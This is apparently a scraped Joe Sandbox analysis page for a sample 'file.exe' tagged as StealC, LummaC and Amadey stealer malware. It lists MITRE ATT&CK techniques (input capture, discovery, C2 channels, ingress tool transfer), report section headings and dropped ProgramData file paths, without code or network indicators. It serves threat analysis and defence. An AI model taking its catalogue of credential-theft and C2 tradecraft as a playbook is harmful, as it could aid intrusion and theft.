Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGCBGCAFIIECBFIDHIJK

C:\ProgramData\EBGDHJEC

C:\ProgramData\FCFIJEBFCGDAAKFHIDBFIDBKFH

C:\ProgramData\HCFIIIJJ

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

C:\ProgramData\HJDGHIJDGCBAAAAAFIJDAECGHC

C:\ProgramData\IJKKKFCFHCFIECBGDHID

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre